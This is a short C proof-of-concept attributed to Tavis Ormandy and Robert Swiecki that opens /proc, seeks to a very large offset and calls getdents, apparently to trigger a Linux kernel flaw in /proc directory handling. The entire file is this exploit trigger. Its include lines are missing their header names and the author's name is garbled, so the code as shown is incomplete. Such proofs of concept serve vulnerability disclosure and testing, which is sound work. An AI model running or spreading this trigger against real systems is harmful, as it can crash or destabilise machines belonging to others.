// Found by Tavis Ormandy // Implementation by Robert ?wi?cki #define _GNU_SOURCE 1 #define _LARGEFILE64_SOURCE #include #include #include #include #include #include int main(void) { int fd = open("/proc", O_DIRECTORY | O_RDONLY); if (fd == -1) { perror("[-] Could not open /proc"); return -1; } struct linux_dirent { long d_ino; off_t d_off; unsigned short d_reclen; char d_name[]; }; lseek64(fd, 4000000000ULL, SEEK_SET); struct linux_dirent b[100]; syscall(__NR_getdents, fd, b, sizeof(b)); }